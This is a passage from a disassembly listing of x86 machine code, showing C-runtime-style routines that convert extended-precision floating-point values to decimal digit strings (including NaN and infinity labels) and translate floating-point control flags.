; ---------------------------------------------------------------------------
loc_41AEAF: ; CODE XREF: sub_41A833+354j
xor esi, esi
mov eax, 7FFFh
mov edx, 80000000h
xor ecx, ecx
mov [ebp+var_6C], 2
jmp short loc_41AED5
; ---------------------------------------------------------------------------
loc_41AEC6: ; CODE XREF: sub_41A833+35Fj
mov [ebp+var_6C], 1
loc_41AECD: ; CODE XREF: sub_41A833+2B6j
; sub_41A833+67Aj
xor ecx, ecx
xor eax, eax
xor edx, edx
xor esi, esi
loc_41AED5: ; CODE XREF: sub_41A833+671j
; sub_41A833+691j
mov edi, [ebp+var_78]
or eax, [ebp+var_74]
mov [edi], cx
mov [edi+0Ah], ax
mov eax, [ebp+var_6C]
mov [edi+2], esi
mov [edi+6], edx
loc_41AEEB: ; CODE XREF: sub_41A833+65j
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn
sub_41A833 endp
; ---------------------------------------------------------------------------
db 90h
off_41AEFB dd offset loc_41A8CD ; DATA XREF: sub_41A833+93r
dd offset loc_41A921 ; jump table for switch statement
dd offset loc_41A977
dd offset loc_41A9AA
dd offset loc_41A9EF
dd offset loc_41AA27
dd offset loc_41AA3B
dd offset loc_41AA96
dd offset loc_41AA81
dd offset loc_41AB00
dd offset loc_41AAF5
dd offset loc_41AAA4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF2B proc near ; CODE XREF: sub_419BA4+41p
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1A = dword ptr -1Ah
var_16 = dword ptr -16h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 74h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
lea esi, [ebp+arg_0]
lea edi, [ebp+var_10]
movsd
movsd
movsw
mov edx, [ebp+var_8]
mov ecx, edx
mov eax, 8000h
and ecx, eax
and edx, 7FFFh
mov [ebp+var_60], ebx
mov byte ptr [ebp+var_30], 0CCh
mov byte ptr [ebp+var_30+1], 0CCh
mov byte ptr [ebp+var_30+2], 0CCh
mov byte ptr [ebp+var_30+3], 0CCh
mov byte ptr [ebp+var_2C], 0CCh
mov byte ptr [ebp+var_2C+1], 0CCh
mov byte ptr [ebp+var_2C+2], 0CCh
mov byte ptr [ebp+var_2C+3], 0CCh
mov byte ptr [ebp+var_28], 0CCh
mov byte ptr [ebp+var_28+1], 0CCh
mov byte ptr [ebp+var_28+2], 0FBh
mov byte ptr [ebp+var_28+3], 3Fh
mov [ebp+var_74], 1
mov [ebp+var_70], ecx
test cx, cx
jz short loc_41AFA7
mov byte ptr [ebx+2], 2Dh
jmp short loc_41AFAB
; ---------------------------------------------------------------------------
loc_41AFA7: ; CODE XREF: sub_41AF2B+74j
mov byte ptr [ebx+2], 20h
loc_41AFAB: ; CODE XREF: sub_41AF2B+7Aj
mov esi, [ebp+var_C]
mov edi, [ebp+var_10]
test dx, dx
jnz short loc_41AFE5
test esi, esi
jnz short loc_41AFE5
test edi, edi
jnz short loc_41AFE5
xor edx, edx
cmp cx, ax
setnz al
dec al
and al, 0Dh
add al, 20h
mov [ebx], dx
mov [ebx+2], al
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
mov [ebx+5], dl
loc_41AFDD: ; CODE XREF: sub_41AF2B+74Fj
; sub_41AF2B+91Fj
xor eax, eax
inc eax
jmp loc_41B803
; ---------------------------------------------------------------------------
loc_41AFE5: ; CODE XREF: sub_41AF2B+89j
; sub_41AF2B+8Dj ...
mov eax, 7FFFh
cmp dx, ax
jnz loc_41B092
xor eax, eax
inc eax
mov [ebx], ax
mov eax, 80000000h
cmp esi, eax
jnz short loc_41B006
test edi, edi
jz short loc_41B015
loc_41B006: ; CODE XREF: sub_41AF2B+D5j
test esi, 40000000h
jnz short loc_41B015
push offset a1Snan ; "1#SNAN"
jmp short loc_41B066
; ---------------------------------------------------------------------------
loc_41B015: ; CODE XREF: sub_41AF2B+D9j
; sub_41AF2B+E1j
test cx, cx
jz short loc_41B02D
cmp esi, 0C0000000h
jnz short loc_41B02D
test edi, edi
jnz short loc_41B061
push offset a1Ind ; "1#IND"
jmp short loc_41B03A
; ---------------------------------------------------------------------------
loc_41B02D: ; CODE XREF: sub_41AF2B+EDj
; sub_41AF2B+F5j
cmp esi, eax
jnz short loc_41B061
test edi, edi
jnz short loc_41B061
push offset a1Inf ; "1#INF"
loc_41B03A: ; CODE XREF: sub_41AF2B+100j
lea eax, [ebx+4]
push 16h
push eax
call sub_40CD95
add esp, 0Ch
xor esi, esi
test eax, eax
jz short loc_41B05B
push esi
push esi
push esi
push esi
push esi
call sub_40B12D
add esp, 14h
loc_41B05B: ; CODE XREF: sub_41AF2B+121j
mov byte ptr [ebx+3], 5
jmp short loc_41B08B
; ---------------------------------------------------------------------------
loc_41B061: ; CODE XREF: sub_41AF2B+F9j
; sub_41AF2B+104j ...
push offset a1Qnan ; "1#QNAN"
loc_41B066: ; CODE XREF: sub_41AF2B+E8j
lea eax, [ebx+4]
push 16h
push eax
call sub_40CD95
add esp, 0Ch
xor esi, esi
test eax, eax
jz short loc_41B087
push esi
push esi
push esi
push esi
push esi
call sub_40B12D
add esp, 14h
loc_41B087: ; CODE XREF: sub_41AF2B+14Dj
mov byte ptr [ebx+3], 6
loc_41B08B: ; CODE XREF: sub_41AF2B+134j
xor eax, eax
jmp loc_41B803
; ---------------------------------------------------------------------------
loc_41B092: ; CODE XREF: sub_41AF2B+C2j
movzx ecx, dx
mov ebx, ecx
imul ecx, 4D10h
shr ebx, 8
mov eax, esi
shr eax, 18h
lea eax, [ebx+eax*2]
imul eax, 4Dh
lea eax, [eax+ecx-134312F4h]
sar eax, 10h
movzx eax, ax
xor ecx, ecx
movsx ebx, ax
mov word ptr [ebp+var_20], cx
mov ecx, offset dword_42E060
neg ebx
sub ecx, 60h
mov [ebp+var_4C], eax
mov word ptr [ebp+var_16], dx
mov [ebp+var_1A], esi
mov [ebp+var_20+2], edi
mov [ebp+var_64], ecx
test ebx, ebx
jz loc_41B37F
jge short loc_41B0F2
mov eax, offset dword_42E1C0
neg ebx
sub eax, 60h
mov [ebp+var_64], eax
loc_41B0F2: ; CODE XREF: sub_41AF2B+1B8j
test ebx, ebx
jz loc_41B37F
loc_41B0FA: ; CODE XREF: sub_41AF2B+44Ej
add [ebp+var_64], 54h
mov ecx, ebx
and ecx, 7
sar ebx, 3
test ecx, ecx
jz loc_41B375
imul ecx, 0Ch
add ecx, [ebp+var_64]
mov eax, ecx
mov [ebp+var_44], ecx
mov ecx, 8000h
cmp [eax], cx
jb short loc_41B134
mov esi, eax
lea edi, [ebp+var_3C]
movsd
movsd
lea eax, [ebp+var_3C]
movsd
dec [ebp+var_3C+2]
mov [ebp+var_44], eax
loc_41B134: ; CODE XREF: sub_41AF2B+1F6j
movzx edx, word ptr [eax+0Ah]
xor ecx, ecx
mov [ebp+var_54], ecx
mov [ebp+var_10], ecx
mov [ebp+var_C], ecx
mov [ebp+var_8], ecx
mov ecx, [ebp+var_16]
mov esi, edx
xor esi, ecx
and esi, 8000h
mov [ebp+var_48], esi
mov esi, 7FFFh
and ecx, esi
and edx, esi
lea esi, [edx+ecx]
movzx edi, si
mov esi, 7FFFh
cmp cx, si
jnb loc_41B41F
cmp dx, si
jnb loc_41B41F
mov esi, 0BFFDh
cmp di, si
ja loc_41B41F
mov esi, 3FBFh
cmp di, si
ja short loc_41B1A4
xor esi, esi
loc_41B196: ; CODE XREF: sub_41AF2B+2B5j
mov [ebp+var_1A+2], esi
loc_41B199: ; CODE XREF: sub_41AF2B+50Dj
mov [ebp-1Ch], esi
mov [ebp+var_20], esi
jmp loc_41B377
; ---------------------------------------------------------------------------
loc_41B1A4: ; CODE XREF: sub_41AF2B+267j
xor esi, esi
cmp cx, si
jnz short loc_41B1CA
inc edi
test [ebp+var_1A+2], 7FFFFFFFh
jnz short loc_41B1CA
cmp [ebp-1Ch], esi
jnz short loc_41B1CA
cmp [ebp+var_20], esi
jnz short loc_41B1CA
xor eax, eax
mov word ptr [ebp+var_16], ax
jmp loc_41B377
; ---------------------------------------------------------------------------
loc_41B1CA: ; CODE XREF: sub_41AF2B+27Ej
; sub_41AF2B+288j ...
cmp dx, si
jnz short loc_41B1E2
inc edi
test dword ptr [eax+8], 7FFFFFFFh
jnz short loc_41B1E2
cmp [eax+4], esi
jnz short loc_41B1E2
cmp [eax], esi
jz short loc_41B196
loc_41B1E2: ; CODE XREF: sub_41AF2B+2A2j
; sub_41AF2B+2ACj ...
and [ebp+var_58], esi
lea esi, [ebp+var_C]
mov [ebp+var_40], 5
loc_41B1EF: ; CODE XREF: sub_41AF2B+334j
mov ecx, [ebp+var_58]
mov edx, [ebp+var_40]
add ecx, ecx
mov [ebp+var_50], edx
test edx, edx
jle short loc_41B253
lea ecx, [ebp+ecx+var_20]
add eax, 8
mov [ebp+var_6C], ecx
mov [ebp+var_68], eax
loc_41B20B: ; CODE XREF: sub_41AF2B+323j
mov eax, [ebp+var_6C]
movzx ecx, word ptr [eax]
mov eax, [ebp+var_68]
movzx eax, word ptr [eax]
mov edx, [esi-4]
imul ecx, eax
and [ebp+var_5C], 0
lea eax, [edx+ecx]
cmp eax, edx
jb short loc_41B22C
cmp eax, ecx
jnb short loc_41B233
loc_41B22C: ; CODE XREF: sub_41AF2B+2FBj
mov [ebp+var_5C], 1
loc_41B233: ; CODE XREF: sub_41AF2B+2FFj
cmp [ebp+var_5C], 0
mov [esi-4], eax
jz short loc_41B23F
inc word ptr [esi]
loc_41B23F: ; CODE XREF: sub_41AF2B+30Fj
add [ebp+var_6C], 2
sub [ebp+var_68], 2
dec [ebp+var_50]
cmp [ebp+var_50], 0
jg short loc_41B20B
mov eax, [ebp+var_44]
loc_41B253: ; CODE XREF: sub_41AF2B+2D1j
inc esi
inc esi
inc [ebp+var_58]
dec [ebp+var_40]
cmp [ebp+var_40], 0
jg short loc_41B1EF
add edi, 0C002h
test di, di
jle short loc_41B2A7
loc_41B26C: ; CODE XREF: sub_41AF2B+375j
test [ebp+var_8], 80000000h
jnz short loc_41B2A2
mov eax, [ebp+var_C]
mov ecx, [ebp+var_10]
shl [ebp+var_10], 1
mov edx, eax
add eax, eax
shr ecx, 1Fh
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_8]
shr edx, 1Fh
add eax, eax
or eax, edx
add edi, 0FFFFh
mov [ebp+var_8], eax
test di, di
jg short loc_41B26C
loc_41B2A2: ; CODE XREF: sub_41AF2B+348j
test di, di
jg short loc_41B2F4
loc_41B2A7: ; CODE XREF: sub_41AF2B+33Fj
add edi, 0FFFFh
test di, di
jge short loc_41B2F4
mov eax, edi
neg eax
movzx eax, ax
add edi, eax
loc_41B2BB: ; CODE XREF: sub_41AF2B+3BDj
test byte ptr [ebp+var_10], 1
jz short loc_41B2C4
inc [ebp+var_54]
loc_41B2C4: ; CODE XREF: sub_41AF2B+394j
mov ecx, [ebp+var_8]
mov esi, [ebp+var_C]
mov edx, [ebp+var_C]
shr [ebp+var_8], 1
shl ecx, 1Fh
shr esi, 1
or esi, ecx
mov ecx, [ebp+var_10]
shl edx, 1Fh
shr ecx, 1
or ecx, edx
dec eax
mov [ebp+var_C], esi
mov [ebp+var_10], ecx
jnz short loc_41B2BB
cmp [ebp+var_54], eax
jz short loc_41B2F4
or word ptr [ebp+var_10], 1
loc_41B2F4: ; CODE XREF: sub_41AF2B+37Aj
; sub_41AF2B+385j ...
mov eax, 8000h
mov ecx, eax
cmp word ptr [ebp+var_10], cx
ja short loc_41B312
mov ecx, [ebp+var_10]
and ecx, 1FFFFh
cmp ecx, 18000h
jnz short loc_41B346
loc_41B312: ; CODE XREF: sub_41AF2B+3D4j
cmp [ebp+var_10+2], 0FFFFFFFFh
jnz short loc_41B343
and [ebp+var_10+2], 0
cmp [ebp+var_C+2], 0FFFFFFFFh
jnz short loc_41B33E
and [ebp+var_C+2], 0
mov ecx, 0FFFFh
cmp word ptr [ebp+var_8+2], cx
jnz short loc_41B338
mov word ptr [ebp+var_8+2], ax
inc edi
jmp short loc_41B346
; ---------------------------------------------------------------------------
loc_41B338: ; CODE XREF: sub_41AF2B+404j
inc word ptr [ebp+var_8+2]
jmp short loc_41B346
; ---------------------------------------------------------------------------
loc_41B33E: ; CODE XREF: sub_41AF2B+3F5j
inc [ebp+var_C+2]
jmp short loc_41B346
; ---------------------------------------------------------------------------
loc_41B343: ; CODE XREF: sub_41AF2B+3EBj
inc [ebp+var_10+2]
loc_41B346: ; CODE XREF: sub_41AF2B+3E5j
; sub_41AF2B+40Bj ...
mov eax, 7FFFh
cmp di, ax
jb loc_41B3FF
xor eax, eax
xor ecx, ecx
cmp word ptr [ebp+var_48], ax
mov [ebp-1Ch], eax
setz cl
mov [ebp+var_20], eax
dec ecx
and ecx, 80000000h
add ecx, 7FFF8000h
mov [ebp+var_1A+2], ecx
loc_41B375: ; CODE XREF: sub_41AF2B+1DDj
; sub_41AF2B+4EFj
xor esi, esi
loc_41B377: ; CODE XREF: sub_41AF2B+274j
; sub_41AF2B+29Aj
cmp ebx, esi
jnz loc_41B0FA
loc_41B37F: ; CODE XREF: sub_41AF2B+1B2j
; sub_41AF2B+1C9j
mov ecx, [ebp+var_1A+2]
shr ecx, 10h
mov edx, 3FFFh
mov eax, 7FFFh
cmp cx, dx
jb loc_41B63B
inc [ebp+var_4C]
xor edx, edx
mov [ebp+var_50], edx
mov [ebp+var_10], edx
mov [ebp+var_C], edx
mov [ebp+var_8], edx
mov edx, [ebp+var_28+2]
movzx ecx, cx
mov ebx, edx
xor ebx, ecx
and ecx, eax
and edx, eax
and ebx, 8000h
mov edi, eax
lea esi, [edx+ecx]
mov [ebp+var_5C], ebx
movzx esi, si
cmp cx, di
jnb loc_41B61D
cmp dx, ax
jnb loc_41B61D
mov eax, 0BFFDh
cmp si, ax
ja loc_41B61D
mov eax, 3FBFh
cmp si, ax
ja short loc_41B43D
xor eax, eax
loc_41B3F4: ; CODE XREF: sub_41AF2B+54Dj
mov [ebp-1Ch], eax
mov [ebp+var_20], eax
jmp loc_41B638
; ---------------------------------------------------------------------------
loc_41B3FF: ; CODE XREF: sub_41AF2B+423j
mov ax, word ptr [ebp+var_10+2]
or edi, [ebp+var_48]
mov word ptr [ebp+var_20], ax
mov eax, [ebp+var_C]
mov [ebp+var_20+2], eax
mov eax, [ebp+var_8]
mov [ebp+var_1A], eax
mov word ptr [ebp+var_16], di
jmp loc_41B375
; ---------------------------------------------------------------------------
loc_41B41F: ; CODE XREF: sub_41AF2B+242j
; sub_41AF2B+24Bj ...
xor eax, eax
xor esi, esi
cmp word ptr [ebp+var_48], si
setz al
dec eax
and eax, 80000000h
add eax, 7FFF8000h
mov [ebp+var_1A+2], eax
jmp loc_41B199
; ---------------------------------------------------------------------------
loc_41B43D: ; CODE XREF: sub_41AF2B+4C5j
xor eax, eax
cmp cx, ax
jnz short loc_41B461
inc esi
test [ebp+var_1A+2], 7FFFFFFFh
jnz short loc_41B461
cmp [ebp-1Ch], eax
jnz short loc_41B461
cmp [ebp+var_20], eax
jnz short loc_41B461
mov word ptr [ebp+var_16], ax
jmp loc_41B63B
; ---------------------------------------------------------------------------
loc_41B461: ; CODE XREF: sub_41AF2B+517j
; sub_41AF2B+521j ...
cmp dx, ax
jnz short loc_41B47E
inc esi
test [ebp+var_28], 7FFFFFFFh
jnz short loc_41B47E
cmp [ebp+var_2C], eax
jnz short loc_41B47E
cmp [ebp+var_30], eax
jz loc_41B3F4
loc_41B47E: ; CODE XREF: sub_41AF2B+539j
; sub_41AF2B+543j ...
mov [ebp+var_58], eax
lea edi, [ebp+var_C]
mov [ebp+var_40], 5
loc_41B48B: ; CODE XREF: sub_41AF2B+5C5j
mov eax, [ebp+var_58]
mov ecx, [ebp+var_40]
add eax, eax
mov [ebp+var_54], ecx
test ecx, ecx
jle short loc_41B4E4
lea ecx, [ebp+var_28]
mov [ebp+var_48], ecx
lea eax, [ebp+eax+var_20]
loc_41B4A4: ; CODE XREF: sub_41AF2B+5B7j
mov ecx, [ebp+var_48]
movzx edx, word ptr [eax]
movzx ecx, word ptr [ecx]
and [ebp+var_44], 0
imul ecx, edx
mov edx, [edi-4]
lea ebx, [edx+ecx]
cmp ebx, edx
jb short loc_41B4C2
cmp ebx, ecx
jnb short loc_41B4C9
loc_41B4C2: ; CODE XREF: sub_41AF2B+591j
mov [ebp+var_44], 1
loc_41B4C9: ; CODE XREF: sub_41AF2B+595j
cmp [ebp+var_44], 0
mov [edi-4], ebx
jz short loc_41B4D5
inc word ptr [edi]
loc_41B4D5: ; CODE XREF: sub_41AF2B+5A5j
sub [ebp+var_48], 2
inc eax
inc eax
dec [ebp+var_54]
cmp [ebp+var_54], 0
jg short loc_41B4A4
loc_41B4E4: ; CODE XREF: sub_41AF2B+56Dj
inc edi
inc edi
inc [ebp+var_58]
dec [ebp+var_40]
cmp [ebp+var_40], 0
jg short loc_41B48B
add esi, 0C002h
test si, si
jle short loc_41B534
loc_41B4FD: ; CODE XREF: sub_41AF2B+602j
mov edi, [ebp+var_8]
test edi, edi
js short loc_41B52F
mov eax, [ebp+var_C]
mov ecx, [ebp+var_10]
shl [ebp+var_10], 1
mov edx, eax
add eax, eax
shr ecx, 1Fh
or eax, ecx
mov [ebp+var_C], eax
shr edx, 1Fh
lea eax, [edi+edi]
or eax, edx
add esi, 0FFFFh
mov [ebp+var_8], eax
test si, si
jg short loc_41B4FD
loc_41B52F: ; CODE XREF: sub_41AF2B+5D7j
test si, si
jg short loc_41B581
loc_41B534: ; CODE XREF: sub_41AF2B+5D0j
add esi, 0FFFFh
test si, si
jge short loc_41B581
mov eax, esi
neg eax
movzx eax, ax
add esi, eax
loc_41B548: ; CODE XREF: sub_41AF2B+64Aj
test byte ptr [ebp+var_10], 1
jz short loc_41B551
inc [ebp+var_50]
loc_41B551: ; CODE XREF: sub_41AF2B+621j
mov ecx, [ebp+var_8]
mov edi, [ebp+var_C]
mov edx, [ebp+var_C]
shr [ebp+var_8], 1
shl ecx, 1Fh
shr edi, 1
or edi, ecx
mov ecx, [ebp+var_10]
shl edx, 1Fh
shr ecx, 1
or ecx, edx
dec eax
mov [ebp+var_C], edi
mov [ebp+var_10], ecx
jnz short loc_41B548
cmp [ebp+var_50], eax
jz short loc_41B581
or word ptr [ebp+var_10], 1
loc_41B581: ; CODE XREF: sub_41AF2B+607j
; sub_41AF2B+612j ...
mov eax, 8000h
mov ecx, eax
cmp word ptr [ebp+var_10], cx
ja short loc_41B59F
mov ecx, [ebp+var_10]
and ecx, 1FFFFh
cmp ecx, 18000h
jnz short loc_41B5D3
loc_41B59F: ; CODE XREF: sub_41AF2B+661j
cmp [ebp+var_10+2], 0FFFFFFFFh
jnz short loc_41B5D0
and [ebp+var_10+2], 0
cmp [ebp+var_C+2], 0FFFFFFFFh
jnz short loc_41B5CB
and [ebp+var_C+2], 0
mov ecx, 0FFFFh
cmp word ptr [ebp+var_8+2], cx
jnz short loc_41B5C5
mov word ptr [ebp+var_8+2], ax
inc esi
jmp short loc_41B5D3
; ---------------------------------------------------------------------------
loc_41B5C5: ; CODE XREF: sub_41AF2B+691j
inc word ptr [ebp+var_8+2]
jmp short loc_41B5D3
; ---------------------------------------------------------------------------
loc_41B5CB: ; CODE XREF: sub_41AF2B+682j
inc [ebp+var_C+2]
jmp short loc_41B5D3
; ---------------------------------------------------------------------------
loc_41B5D0: ; CODE XREF: sub_41AF2B+678j
inc [ebp+var_10+2]
loc_41B5D3: ; CODE XREF: sub_41AF2B+672j
; sub_41AF2B+698j ...
mov eax, 7FFFh
cmp si, ax
jb short loc_41B600
xor eax, eax
xor ecx, ecx
cmp word ptr [ebp+var_5C], ax
mov [ebp-1Ch], eax
setz cl
mov [ebp+var_20], eax
dec ecx
and ecx, 80000000h
add ecx, 7FFF8000h
mov [ebp+var_1A+2], ecx
jmp short loc_41B63B
; ---------------------------------------------------------------------------
loc_41B600: ; CODE XREF: sub_41AF2B+6B0j
mov ax, word ptr [ebp+var_10+2]
or esi, [ebp+var_5C]
mov word ptr [ebp+var_20], ax
mov eax, [ebp+var_C]
mov [ebp+var_20+2], eax
mov eax, [ebp+var_8]
mov [ebp+var_1A], eax
mov word ptr [ebp+var_16], si
jmp short loc_41B63B
; ---------------------------------------------------------------------------
loc_41B61D: ; CODE XREF: sub_41AF2B+4A0j
; sub_41AF2B+4A9j ...
xor eax, eax
test bx, bx
setz al
and dword ptr [ebp-1Ch], 0
dec eax
and eax, 80000000h
add eax, 7FFF8000h
and [ebp+var_20], 0
loc_41B638: ; CODE XREF: sub_41AF2B+4CFj
mov [ebp+var_1A+2], eax
loc_41B63B: ; CODE XREF: sub_41AF2B+467j
; sub_41AF2B+531j ...
test [ebp+arg_10], 1
mov edx, [ebp+var_60]
mov eax, [ebp+var_4C]
mov edi, [ebp+arg_C]
mov [edx], ax
jz short loc_41B67F
cwde
add edi, eax
test edi, edi
jg short loc_41B67F
xor eax, eax
mov [edx], ax
mov eax, 8000h
cmp word ptr [ebp+var_70], ax
mov byte ptr [edx+3], 1
setnz al
dec al
and al, 0Dh
add al, 20h
mov [edx+2], al
mov byte ptr [edx+4], 30h
mov byte ptr [edx+5], 0
jmp loc_41AFDD
; ---------------------------------------------------------------------------
loc_41B67F: ; CODE XREF: sub_41AF2B+720j
; sub_41AF2B+727j
cmp edi, 15h
jle short loc_41B687
push 15h
pop edi
loc_41B687: ; CODE XREF: sub_41AF2B+757j
mov esi, [ebp+var_1A+2]
shr esi, 10h
sub esi, 3FFEh
xor eax, eax
mov word ptr [ebp+var_16], ax
mov [ebp+var_44], 8
loc_41B6A0: ; CODE XREF: sub_41AF2B+79Bj
mov eax, [ebp+var_20]
mov ebx, [ebp-1Ch]
mov ecx, [ebp-1Ch]
shl [ebp+var_20], 1
shr eax, 1Fh
add ebx, ebx
or ebx, eax
mov eax, [ebp+var_1A+2]
shr ecx, 1Fh
add eax, eax
or eax, ecx
dec [ebp+var_44]
mov [ebp-1Ch], ebx
mov [ebp+var_1A+2], eax
jnz short loc_41B6A0
test esi, esi
jge short loc_41B6FE
neg esi
and esi, 0FFh
jle short loc_41B6FE
loc_41B6D6: ; CODE XREF: sub_41AF2B+7D1j
mov eax, [ebp+var_1A+2]
mov ebx, [ebp-1Ch]
mov ecx, [ebp-1Ch]
shr [ebp+var_1A+2], 1
shl eax, 1Fh
shr ebx, 1
or ebx, eax
mov eax, [ebp+var_20]
shl ecx, 1Fh
shr eax, 1
or eax, ecx
dec esi
mov [ebp-1Ch], ebx
mov [ebp+var_20], eax
test esi, esi
jg short loc_41B6D6
loc_41B6FE: ; CODE XREF: sub_41AF2B+79Fj
; sub_41AF2B+7A9j
lea eax, [edi+1]
lea ebx, [edx+4]
mov [ebp+var_40], ebx
mov [ebp+var_4C], eax
test eax, eax
jle loc_41B7C7
loc_41B712: ; CODE XREF: sub_41AF2B+896j
mov edx, [ebp+var_20]
mov eax, [ebp-1Ch]
lea esi, [ebp+var_20]
lea edi, [ebp+var_3C]
movsd
movsd
movsd
shl [ebp+var_20], 1
mov edi, [ebp+var_20]
shl [ebp+var_20], 1
shr edx, 1Fh
lea ecx, [eax+eax]
or ecx, edx
mov edx, [ebp+var_1A+2]
mov esi, eax
shr esi, 1Fh
add edx, edx
or edx, esi
mov eax, ecx
lea esi, [ecx+ecx]
shr eax, 1Fh
lea ecx, [edx+edx]
mov edx, [ebp+var_3C]
shr edi, 1Fh
or ecx, eax
mov eax, [ebp+var_20]
or esi, edi
lea edi, [edx+eax]
cmp edi, eax
jb short loc_41B761
cmp edi, edx
jnb short loc_41B779
loc_41B761: ; CODE XREF: sub_41AF2B+830j
lea eax, [esi+1]
xor edx, edx
cmp eax, esi
jb short loc_41B76F
cmp eax, 1
jnb short loc_41B772
loc_41B76F: ; CODE XREF: sub_41AF2B+83Dj
xor edx, edx
inc edx
loc_41B772: ; CODE XREF: sub_41AF2B+842j
mov esi, eax
test edx, edx
jz short loc_41B779
inc ecx
loc_41B779: ; CODE XREF: sub_41AF2B+834j
; sub_41AF2B+84Bj
mov eax, [ebp+var_38]
lea edx, [eax+esi]
mov [ebp+var_44], edx
cmp edx, esi
jb short loc_41B78A
cmp edx, eax
jnb short loc_41B78B
loc_41B78A: ; CODE XREF: sub_41AF2B+859j
inc ecx
loc_41B78B: ; CODE XREF: sub_41AF2B+85Dj
add ecx, [ebp+var_34]
shr edx, 1Fh
add ecx, ecx
or ecx, edx
lea esi, [edi+edi]
mov [ebp+var_20], esi
mov esi, [ebp+var_44]
mov [ebp+var_1A+2], ecx
shr ecx, 18h
add esi, esi
add cl, 30h
mov eax, edi
shr eax, 1Fh
or esi, eax
mov [ebx], cl
inc ebx
dec [ebp+var_4C]
cmp [ebp+var_4C], 0
mov [ebp-1Ch], esi
mov byte ptr [ebp+var_16+1], 0
jg loc_41B712
loc_41B7C7: ; CODE XREF: sub_41AF2B+7E1j
dec ebx
mov al, [ebx]
dec ebx
cmp al, 35h
jge short loc_41B7DD
mov ecx, [ebp+var_40]
jmp short loc_41B818
; ---------------------------------------------------------------------------
loc_41B7D4: ; CODE XREF: sub_41AF2B+8B5j
cmp byte ptr [ebx], 39h
jnz short loc_41B7E2
mov byte ptr [ebx], 30h
dec ebx
loc_41B7DD: ; CODE XREF: sub_41AF2B+8A2j
cmp ebx, [ebp+var_40]
jnb short loc_41B7D4
loc_41B7E2: ; CODE XREF: sub_41AF2B+8ACj
mov eax, [ebp+var_60]
cmp ebx, [ebp+var_40]
jnb short loc_41B7EE
inc ebx
inc word ptr [eax]
loc_41B7EE: ; CODE XREF: sub_41AF2B+8BDj
inc byte ptr [ebx]
loc_41B7F0: ; CODE XREF: sub_41AF2B+8F6j
sub bl, al
sub bl, 3
movsx ecx, bl
mov [eax+3], bl
mov byte ptr [ecx+eax+4], 0
mov eax, [ebp+var_74]
loc_41B803: ; CODE XREF: sub_41AF2B+B5j
; sub_41AF2B+162j
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn
; ---------------------------------------------------------------------------
loc_41B812: ; CODE XREF: sub_41AF2B+8EFj
cmp byte ptr [ebx], 30h
jnz short loc_41B81C
dec ebx
loc_41B818: ; CODE XREF: sub_41AF2B+8A7j
cmp ebx, ecx
jnb short loc_41B812
loc_41B81C: ; CODE XREF: sub_41AF2B+8EAj
mov eax, [ebp+var_60]
cmp ebx, ecx
jnb short loc_41B7F0
xor edx, edx
mov [eax], dx
mov edx, 8000h
cmp word ptr [ebp+var_70], dx
mov byte ptr [eax+3], 1
setnz dl
dec dl
and dl, 0Dh
add dl, 20h
mov [eax+2], dl
mov byte ptr [ecx], 30h
mov byte ptr [eax+5], 0
jmp loc_41AFDD
sub_41AF2B endp
; =============== S U B R O U T I N E =======================================
sub_41B84F proc near ; CODE XREF: sub_41B97D+C3p
xor eax, eax
test bl, 10h
jz short loc_41B857
inc eax
loc_41B857: ; CODE XREF: sub_41B84F+5j
test bl, 8
jz short loc_41B85F
or eax, 4
loc_41B85F: ; CODE XREF: sub_41B84F+Bj
test bl, 4
jz short loc_41B867
or eax, 8
loc_41B867: ; CODE XREF: sub_41B84F+13j
test bl, 2
jz short loc_41B86F
or eax, 10h
loc_41B86F: ; CODE XREF: sub_41B84F+1Bj
test bl, 1
jz short loc_41B877
or eax, 20h
loc_41B877: ; CODE XREF: sub_41B84F+23j
test ebx, 80000h
jz short loc_41B882
or eax, 2
loc_41B882: ; CODE XREF: sub_41B84F+2Ej
mov ecx, ebx
mov edx, 300h
and ecx, edx
push esi
mov esi, 200h
jz short loc_41B8B6
cmp ecx, 100h
jz short loc_41B8B1
cmp ecx, esi
jz short loc_41B8AA
cmp ecx, edx
jnz short loc_41B8B6
or eax, 0C00h
jmp short loc_41B8B6
; ---------------------------------------------------------------------------
loc_41B8AA: ; CODE XREF: sub_41B84F+4Ej
or eax, 800h
jmp short loc_41B8B6
; ---------------------------------------------------------------------------
loc_41B8B1: ; CODE XREF: sub_41B84F+4Aj
or eax, 400h
loc_41B8B6: ; CODE XREF: sub_41B84F+42j
; sub_41B84F+52j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_41B8CC
cmp ecx, 10000h
jnz short loc_41B8CE
or eax, esi
jmp short loc_41B8CE
; ---------------------------------------------------------------------------
loc_41B8CC: ; CODE XREF: sub_41B84F+6Fj
or eax, edx
loc_41B8CE: ; CODE XREF: sub_41B84F+77j
; sub_41B84F+7Bj
pop esi
test ebx, 40000h
jz short locret_41B8DC
or eax, 1000h
locret_41B8DC: ; CODE XREF: sub_41B84F+86j
retn
sub_41B84F endp
; =============== S U B R O U T I N E =======================================
sub_41B8DD proc near ; CODE XREF: sub_41B97D:loc_41BBC2p
xor eax, eax
test dl, 10h
jz short loc_41B8E9
mov eax, 80h
loc_41B8E9: ; CODE XREF: sub_41B8DD+5j
push ebx
